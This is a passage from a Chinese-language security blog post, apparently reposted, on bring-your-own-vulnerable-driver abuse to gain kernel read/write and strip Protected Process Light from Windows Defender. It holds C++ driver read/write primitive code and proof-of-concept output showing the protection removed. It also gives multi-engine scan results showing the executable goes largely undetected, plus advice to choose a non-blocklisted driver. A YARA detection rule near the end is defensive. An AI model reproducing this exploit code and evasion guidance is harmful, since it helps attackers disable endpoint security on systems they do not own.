&nbsp;BOOL result =&nbsp;DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp,&nbsp;sizeof(krp), (LPVOID)dst, size, &returned,&nbsp;nullptr);
if&nbsp;(!result) {
&nbsp; cout <<&nbsp;"Failed to send read primitive. Error code: "&nbsp;<<&nbsp;GetLastError() << endl;
returnFALSE;
&nbsp;}
&nbsp;cout <<&nbsp;"Read primitive sent successfully. Bytes returned: "&nbsp;<< returned << endl;
returnTRUE;
}

HANDLE&nbsp;openVulnDriver() {
&nbsp;HANDLE driver =&nbsp;CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE,&nbsp;0,&nbsp;nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,&nbsp;nullptr);
if&nbsp;(!driver || driver == INVALID_HANDLE_VALUE)
&nbsp;{
&nbsp; cout <<&nbsp;"Failed to open handle to driver. Error code: "&nbsp;<<&nbsp;GetLastError() << endl;
returnNULL;
&nbsp;}
return&nbsp;driver;
}

概念验证

Windows 11:

让我们来测试这段代码,首先确保服务正在运行:

sc start gdrv

然后在 管理员权限的 CMD 或 Powershell 控制台中执行:

Checking EPROCESS 18446614925235277952
Read primitive sent successfully. Bytes returned: 0
Current PID 3412
Read primitive sent successfully. Bytes returned: 0
Checking EPROCESS 18446614925235253376
Read primitive sent successfully. Bytes returned: 0
Current PID 3432
Correct EPROCESS Found
EPROCESS 18446614925235253376

Disable PPL

Write primitive sent successfully. Bytes returned: 0

Write primitive sent successfully. Bytes returned: 0

Write primitive sent successfully. Bytes returned: 0
Successfully removed PPL
[!] PPL Protection removed !

此时 Windows Defender 已不再受到保护:

检测

现在来看看防御措施是否将该 .exe检测为恶意威胁。驱动程序本身会被检测为恶意文件,因此你需要使用另一个未被列入黑名单的易受攻击驱动程序,例如:

Kleenscan

Alyac: Undetected
Amiti: Undetected
Arcabit: Undetected
Avast: Undetected
AVG: Undetected
Avira: Undetected
Bullguard: Undetected
ClamAV: Undetected
Comodo Linux: Undetected
Crowdstrike Falcon: Undetected
DrWeb: Undetected
Emsisoft: Pending
eScan: Undetected
F-Prot: Undetected
F-Secure: Undetected
G Data: Undetected
IKARUS: Undetected
Immunet: Undetected
Kaspersky: Scan failed
Max Secure: Undetected
McAfee: Undetected
Microsoft Defender: Trojan:Win32/Sabsik.RD.A!ml
NANO: Undetected
NOD32: Undetected
Norman: Undetected
SecureAge APEX: Unknown
Seqrite: Undetected
Sophos: Undetected
Threatdown: Undetected
TrendMicro: Undetected
Vba32: Undetected
VirusFighter: Undetected
Xvirus: Undetected
Zillya: Undetected
Zonealarm: Undetected
Zoner: Undetected

Litterbox

ThreatCheck

ThreatCheck.exe -f Z:\PPLDisableFromRWKernel.exe
[+] No threat found!
[*] Run time: 0.81s

Windows Defender

检测到 驱动程序存在漏洞,但未将 .exe 检测为恶意文件。

Kaspersky Free AV

静态 .exe 分析:

Instant File Analysis

&nbsp; &nbsp; Status: Completed less than a minute ago

&nbsp; &nbsp; Duration: 0 seconds

&nbsp; &nbsp; Objects scanned: 2

&nbsp; &nbsp; No threats have been detected

驱动程序被检测到

Bitdefender Free AV

静态 .exe 分析

驱动程序被检测到

YARA

以下是一条用于检测该技术的 YARA 规则:

rule BYOVD_KernelRW_PPL_Bypass_Generic
{
&nbsp; &nbsp; meta:
&nbsp; &nbsp; &nbsp; &nbsp; author = "0x12 Dark Development"
&nbsp; &nbsp; &nbsp; &nbsp; description = "Detects potential BYOVD usage with kernel R/W primitives targeting PPL bypass"
&nbsp; &nbsp; &nbsp; &nbsp; date = "2026-03-18"
&nbsp; &nbsp; &nbsp; &nbsp; reference = "Generic detection for vulnerable driver abuse and PPL tampering"

&nbsp; &nbsp; strings:
&nbsp; &nbsp; &nbsp; &nbsp; // Native API usage for driver/module enumeration
&nbsp; &nbsp; &nbsp; &nbsp; $ntquery = "NtQuerySystemInformation" ascii wide
&nbsp; &nbsp; &nbsp; &nbsp; $sysinfo_class = "SystemModuleInformation" ascii wide

&nbsp; &nbsp; &nbsp; &nbsp; // Kernel / driver related indicators
&nbsp; &nbsp; &nbsp; &nbsp; $ntdll = "ntdll.dll" ascii wide
&nbsp; &nbsp; &nbsp; &nbsp; $device = "\\\\.\\ " ascii wide nocase
&nbsp; &nbsp; &nbsp; &nbsp; $ioctl = "DeviceIoControl" ascii wide

&nbsp; &nbsp; &nbsp; &nbsp; // Common kernel structures / targets
&nbsp; &nbsp; &nbsp; &nbsp; $eprocess = "EPROCESS" ascii wide nocase
&nbsp; &nbsp; &nbsp; &nbsp; $protection = "Protection" ascii wide nocase
&nbsp; &nbsp; &nbsp; &nbsp; $siglevel = "SignatureLevel" ascii wide nocase

&nbsp; &nbsp; &nbsp; &nbsp; // Privilege escalation / debugging
&nbsp; &nbsp; &nbsp; &nbsp; $sedebug = "SeDebugPrivilege" ascii wide

&nbsp; &nbsp; &nbsp; &nbsp; // Typical kernel primitives naming (generic, not exact)
&nbsp; &nbsp; &nbsp; &nbsp; $read = "ReadPrimitive" ascii wide nocase
&nbsp; &nbsp; &nbsp; &nbsp; $write = "WritePrimitive" ascii wide nocase

&nbsp; &nbsp; &nbsp; &nbsp; // Kernel base / ntoskrnl hunting
&nbsp; &nbsp; &nbsp; &nbsp; $ntos = "ntoskrnl.exe" ascii wide nocase
&nbsp; &nbsp; &nbsp; &nbsp; $psinit = "PsInitialSystemProcess" ascii wide
&nbsp; &nbsp; &nbsp; &nbsp; $psloaded = "PsLoadedModuleList" ascii wide

&nbsp; &nbsp; condition:
&nbsp; &nbsp; &nbsp; &nbsp; // Require a combination of behaviors, not just one indicator
&nbsp; &nbsp; &nbsp; &nbsp; (
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $ntquery and $sysinfo_class and
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 2 of ($ntos, $psinit, $psloaded)
&nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; and
&nbsp; &nbsp; &nbsp; &nbsp; (
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $ioctl or $device
&nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; and
&nbsp; &nbsp; &nbsp; &nbsp; (
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 2 of ($eprocess, $protection, $siglevel)
&nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; and
&nbsp; &nbsp; &nbsp; &nbsp; (
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $write or $read
&nbsp; &nbsp; &nbsp; &nbsp; )
}

以下是我的 YARA 规则合集:

S12cybersecurity/YaraRules – GitHub

结论

本文探讨了如何利用 BYOVD,借助任意内核读/写原语直接修改目标进程的 EPROCESS结构以绕过 PPL 保护。通过将存在漏洞的驱动程序与基于 PsInitialSystemProcess和 ActiveProcessLinks的内核结构遍历相结合,我们成功将 SignatureLevelSectionSignatureLevel和 Protection字段清零,完全解除了 PPL 限制。

正如检测部分所展示的,该技术本身几乎不会被大多数杀毒引擎检测到,但驱动程序则另当别论——选择一个未被列入黑名单的驱动程序是实际应用的关键。


免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:securitainment S12 S12《滥用漏洞驱动 (BYOVD) 实现任意内核读写并绕过 PPL 保护》

狗窝安全小课堂开课啦! 网络安全文章

狗窝安全小课堂开课啦!

文章总结: 狗窝安全团队推出针对EDUSRC漏洞挖掘的首期课程,包含漏洞基础知识、实战案例及一对一指导。课程强调团队半年内取得平台前三的实战经验,通过直播录播结
评论:0   参与:  0